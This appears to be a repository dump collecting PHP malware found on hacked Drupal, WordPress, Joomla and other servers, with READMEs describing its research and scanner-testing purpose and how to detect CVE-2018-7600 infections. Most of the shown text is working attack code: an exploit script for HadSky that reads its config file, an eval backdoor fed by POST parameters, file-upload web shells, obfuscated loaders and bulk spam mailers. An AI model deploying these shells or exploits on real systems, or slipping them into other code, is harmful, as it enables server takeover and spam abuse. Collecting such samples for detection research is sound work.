├── README.md
├── exp4php
└── hadsky.php
├── found_on_drupal
├── Da.php
├── HV4V62BP.php
├── accesson.php
├── address.php
├── crouter.php
├── dirs.php
├── dirs_prettyfied.php
├── farbtastic_cache.php
├── farbtastic_cache_unobfuscated_version1.php
├── found_due_to_cve_2018_7600
│ ├── README.md
│ ├── cpm.php
│ ├── dump2.php
│ ├── favicon_0ac3c0.ico
│ ├── search2.php
│ ├── snd.php
│ ├── wpzr5qe.php
│ └── xGASSx
│ │ ├── gasskkcnqssetting.php
│ │ ├── kkcnqs-ini.php
│ │ ├── sites
│ │ └── default
│ │ │ ├── fileskkcnqssetting.php
│ │ │ ├── kkcnqsini.php
│ │ │ ├── kkcnqssetting.php
│ │ │ └── xGASSx.php
│ │ └── xGASSx.php
├── indoxploit.php
├── jpeg.htaccess.php
├── libasset.php
├── opn-post.php
├── payload.php
├── plugin38.php
└── search7.php
├── found_on_expressionengine
├── ja.cleaned.php
├── ja.php
├── red.cleaned.php
├── red.php
├── upl.cleaned.php
└── upl.php
├── found_on_jenkins
├── rsync.pl
└── tddwrt7s.sh
├── found_on_joomla
├── a58a1fe9dafb308c.php
├── aks-showtopic.php
├── booter.php
├── cache.php
├── eoo-showtopic.php
├── license.php
├── links.db
├── phpeRwDi9.php
├── phpeRwDi9_prettyfied.php
├── settings.php
├── start.php
├── stats.php
├── xml.php
├── yy1rnn.php
├── yy1rnn_prettyfied.php
└── zonfig.php
├── found_on_magento
├── dump.php
└── log.php.php
├── found_on_nocms
├── evil snippets.php
└── xml.php
└── found_on_wordpress
├── .67b6958a.ico
├── 3ee39e7bb5725d92e9a6b735b5a2be19.php
├── 4691467424a1a1def32f61b6bae30800.php
├── about.php
├── backdoor_admin_access.php
├── class-ftp-inc.php
├── class-wp-updater(2).php
├── class-wp-updater.php
├── class-wp-widget-archives_render.php.suspected
├── class-wp-widget-archives_render.php_backup
├── classes92.php
├── config.php
├── config2.php
├── defines.php
├── dhanush.php
├── exceptions.php
├── favicon_f4df1e.ico
├── feeds.php
├── g31.php
├── header.php
├── hello.php
├── hozwfbdp.php
├── index.php
├── jhefppgr.php
├── lock.php
├── mai.php
├── mildnet.php
├── moyudazh.php
├── nes.php
├── nstview.php
├── phpd.local.php
├── priv8.php
├── readonly_default.php.suspected
├── readonly_default.php_backup
├── response41.php
├── script.php
├── shell.php
├── ssl.php
├── systemsinf.php
├── theme_bold_footer.php
├── themes_beatufied.php
├── wordpress-saved-with-a-dot-ico-extension.php
├── wp-blog.php
├── wp-content
└── themes
│ └── AdvanceImage5
│ └── header.php
├── wp-gallery.php
├── wp-good5ccca1742d54d5ccca1742d553.php.suspected
├── wp-include-5ccbd898281735ccbd8982817c.php
├── wp-insert5ccbd8965ecda5ccbd8965ece1.php
├── wp-rewrite.php
├── wp-rewrite.php.suspected
├── wp-seo-5ccbd899a479a5ccbd899a47a0.php
├── wp-taxonomy.php
├── wp-temp.php.suspected
├── wp-tempo.php
├── wso-24.php
└── ykbh.php
/README.md:
--------------------------------------------------------------------------------
1 | # php-exploit-scripts
2 |
3 | A collection of PHP exploit scripts, found when investigating hacked servers. These are stored for educational purposes and to test fuzzers and vulnerability scanners. Feel free to contribute.
4 |
5 | ### Why do you put these online? They're dangerous!
6 |
7 | Yes, obviously. Don't copy them and store them on your own server. These are scripts found on hacked systems, so they're used to exploit the server and abuse some kind of vulnerability.
8 |
9 | They are indeed dangerous in themselves. But if anyone can exploit a server or CMS, they can upload far more dangerous tools than these PHP scripts.
10 |
11 | ### Prettyfied the obfuscated code
12 |
13 | All obfuscated code has been run through the [PHP Formatter](http://beta.phpformatter.com/), [PHP Beautifier](http://phpbeautifier.com/) or [UnPHP](https://www.unphp.net/) for readability (whichever was online at that time).
14 |
--------------------------------------------------------------------------------
/exp4php/hadsky.php:
--------------------------------------------------------------------------------
1 | 3)
17 | {
18 | die($die);
19 | }
20 | $poc='?c=page&filename=./puyuetian/mysql/config.php';
21 | $ch=curl_init();
22 | if(!$ch)
23 | {
24 | die("Dont support curl!");
25 | }
26 |
27 | if($argc==2)
28 | {
29 | $url=$argv[1].$poc;
30 | curl_setopt($ch, CURLOPT_URL, $url);
31 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
32 | curl_setopt($ch, CURLOPT_HEADER, 0);
33 | $out=curl_exec($ch);
34 | $start=strpos($out,'$_G[\'MYSQL\']');
35 | $end=strpos($out,'$_G[\'MYSQL\'][\'CHARSET\']');
36 | $output=substr($out,$start,$end-$start);
37 | if($output)
38 | {
39 | echo "\r\noh yeah,got the result\r\n\r\n";
40 | echo $output;
41 | }
42 | else
43 | {
44 | echo "oops,seems the config file has been renamed!";
45 | }
46 | }
47 | if($argc==3)
48 | {
49 | $url=$argv[1].'?c=page&filename='.$argv[2];
50 | curl_setopt($ch, CURLOPT_URL, $url);
51 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
52 | curl_setopt($ch, CURLOPT_HEADER, 0);
53 | $out=curl_exec($ch);
54 | $error='未找到的模板文件！';
55 | $errorpos=strpos($out, $error);
56 | if($errorpos===false)
57 | {
58 | echo "Done,ur code has been excuted successfully!";
59 | }
60 | else
61 | {
62 | echo "Failed!";
63 | }
64 | }
65 | ?>
--------------------------------------------------------------------------------
/found_on_drupal/Da.php:
--------------------------------------------------------------------------------
1 | Emails:
Engenharia:
";
19 | $vai = $_POST['vai'];
20 | if ($vai){
21 | for ($set=0; $set < $n_emails; $set++){
22 | if ($set==0){
23 | $headers = "MIME-Version: 1.0\r\n";
24 | $headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
25 | $headers .= "From: $nome[$msg] <$de[$msg]>\r\n";
26 | $headers .= "Return-Path: <$de[$msg]>\r\n";
27 | //mail($xsylar, $as, $fullurl, $headers);
28 | }
29 | $headers = "MIME-Version: 1.0\r\n";
30 | $headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
31 | $headers .= "From: $nome[$msg] <$de[$msg]>\r\n";
32 | $headers .= "Return-Path: <$de[$msg]>\r\n";
33 | $n_mail++;
34 | $destino = $para[$set];
35 | $num1 = rand(100000,999999);
36 | $num2 = rand(100000,999999);
37 | $msgrand = str_replace("%rand%", $num1, $mensagem[$msg]);
38 | $msgrand = str_replace("%rand2%", $num2, $msgrand);
39 | $msgrand = str_replace("%email%", $destino, $msgrand);
40 | $enviar = mail($destino, $assunto[$msg], $msgrand, $headers);
41 | if ($enviar){
42 | echo (''. $n_mail .'-'. $destino .' 0k!
');
43 | } else {
44 | echo (''. $n_mail .'-'. $destino .' =(
');
45 | sleep(1);
46 | }
47 | }
48 | }
49 | }
50 | ?>
51 |
58 |
98 |
--------------------------------------------------------------------------------
/found_on_drupal/HV4V62BP.php:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/found_on_drupal/accesson.php:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/found_on_drupal/crouter.php:
--------------------------------------------------------------------------------
1 |
2 | '|.*|e',);array_walk($arr, strval($_POST['pr']), '');}}?>
3 |
--------------------------------------------------------------------------------
/found_on_drupal/found_due_to_cve_2018_7600/README.md:
--------------------------------------------------------------------------------
1 | # What is this?
2 |
3 | These are some of the examples we found on compromised Drupal installs at [Nucleus](https://www.nucleus.be/en/).
4 |
5 | They are the direct result of [CVE-2018-7600](https://www.drupal.org/sa-core-2018-002), a remote code execution vulnerability in Drupal.
6 |
7 | The pattern:
8 |
9 | - search.php, dump.php & wp-post.php: same filename everywhere. Always in the root of the Drupal installation.
10 | - favicon_0ac3c0.ico: the `0ac3c0` part is a variable hash every time. The file gets dumped somewhere in the `/themes/` or `/modules/` directory.
11 |
12 | These can easily be found & detected through a combination of [Maldet](https://www.rfxn.com/projects/linux-malware-detect/) and regex-searches on functions like `eval`, `gzinflate`, etc.
13 |
--------------------------------------------------------------------------------
/found_on_drupal/found_due_to_cve_2018_7600/dump2.php:
--------------------------------------------------------------------------------
1 | >16)&255).chr((${${"\x47\x4cOBA\x4c\x53"}["a\x6ee\x64q\x65\x79\x76\x62"]}>>8)&255).chr(${$fyojtix}&255);}return substr(${${"\x47L\x4fBAL\x53"}["\x73\x77z\x6a\x64m\x6dek"]},0,strlen(${${"\x47\x4cO\x42\x41\x4cS"}["\x6a\x69\x68\x6b\x75\x6dy\x72\x6e\x71\x63"]})-strlen(${${"\x47LOB\x41LS"}["\x63\x74\x78\x67vq\x67l\x76\x6fg"]}));}function decode($data,$key){${"\x47L\x4f\x42ALS"}["n\x7a\x78z\x78\x68d\x75i\x77\x66"]="\x69";${"GLO\x42\x41L\x53"}["\x78i\x71\x77\x62\x64k\x77"]="\x6be\x79\x33";${"\x47\x4cOB\x41L\x53"}["h\x78\x6e\x74\x73\x6d"]="\x64\x61\x74a";$nfcrlzoqiyym="\x69";$ofbkzgrupiv="\x6fu\x74\x5fda\x74a";${"GLOB\x41\x4c\x53"}["ei\x61l\x75\x74\x75"]="\x69";${${"\x47L\x4fB\x41\x4cS"}["r\x65d\x73\x6fb\x64g\x66w"]}="0\x38ae\x381a2-\x6545\x31-4\x63\x39\x38-88c\x65-9d2\x32562\x66\x30\x61\x630";${"G\x4c\x4fB\x41L\x53"}["nm\x74ku\x6b\x64\x65"]="\x6f\x75t\x5fda\x74\x61";$eykvvkxfgb="\x69";$hlrlfgf="\x6be\x79";${${"\x47\x4c\x4fBA\x4cS"}["\x77\x64\x6b\x71\x65\x67\x62t\x73"]}=pack("\x48*","0\x34\x35d07\x35\x33\x30\x62\x350\x3035\x3700\x354\x35\x35\x35\x37\x35\x35\x30\x300\x305\x36\x35\x380e\x30\x30\x30\x31\x309500\x31\x3000\x66\x30\x32\x350\x30b\x30\x630\x30\x30\x3751\x3555\x33\x357\x35\x32");${$ofbkzgrupiv}="";${"GL\x4fBA\x4c\x53"}["o\x67y\x63\x73\x66\x71\x70q"]="key\x33";for(${$nfcrlzoqiyym}=0;${${"G\x4c\x4fBA\x4cS"}["n\x7ax\x7ax\x68\x64u\x69\x77\x66"]}
2 | '; if( $_POST['_con'] == "home" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'send is ok'; } else { echo 'mailer error'; }}} ?>
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 | .:| Rebels Mailer |::.
13 |
68 |
69 |
70 |
71 |
115 |
116 | .:| Rebels Mailer |::.
117 |
118 |
119 |
120 |
121 |
122 |
186 |
187 |
188 |
189 |
190 | 0){ set_time_limit(intval($_POST['wait'])*$numemails*3600); }else{ set_time_limit($numemails*3600); } if(!empty($smv)){ $smvn+=$smv; $tmn=$numemails/$smv+1; }else{ $tmn=1; } for($x=0; $x<$numemails; $x++){ $to = $allemails[$x]; if ($to){ $to = ereg_replace(" ", "", $to); $message = ereg_replace("#EM#", $to, $message); $subject = ereg_replace("#EM#", $to, $subject); flush(); $header = "From: $realname <$from>
192 | "; $header .= "MIME-Version: 1.0
193 | "; $header .= "Content-Type: text/html
194 | "; if ($x==0 && !empty($tem)) { if(!@mail($tem,$subject,$message,$header)){ print('The test Post was not Submitted.
'); $tmns+=1; }else{ print('Your Message was Sent Test.
'); $tms+=1; } } if($x==$smvn && !empty($_POST['smv'])){ if(!@mail($tem,$subject,$message,$header)){ print('The test Post was not Submitted.
'); $tmns+=1; }else{ print('Your Message was Sent Test.
'); $tms+=1; } $smvn+=$smv; } print "$to ....... "; $msent = @mail($to, $subject, $message, $header); $xx = $x+1; $txtspamed = "spammed"; if(!$msent){ $txtspamed = "error"; $ns+=1; $nse[$ns]=$to; } print "$xx / $numemails ....... $txtspamed
"; flush(); if(!empty($wait)&& $x<$numemails-1){ sleep($wait); } } } } ?>
195 |
196 |
197 |
198 |
199 |
200 |
201 |
202 |
203 |
204 |
--------------------------------------------------------------------------------
/found_on_drupal/found_due_to_cve_2018_7600/wpzr5qe.php:
--------------------------------------------------------------------------------
1 | '.'Uname:'.php_uname().'
'.$cwd = getcwd(); Echo '
'; if (!empty ($_FILES['uploads'])) { move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']); Echo "Uploaded !!!
name : ".$_FILES['uploads']['name']."
size : ".$_FILES['uploads']['size']."
type : ".$_FILES['uploads']['type']; } ?>
--------------------------------------------------------------------------------
/found_on_drupal/found_due_to_cve_2018_7600/xGASSx/sites/default/xGASSx.php:
--------------------------------------------------------------------------------
1 |
uname:".php_uname()."
fallagateam";
8 | print "\n";$disable_functions = @ini_get("disable_functions");
9 | echo "DisablePHP=".$disable_functions; print "
";
10 | echo"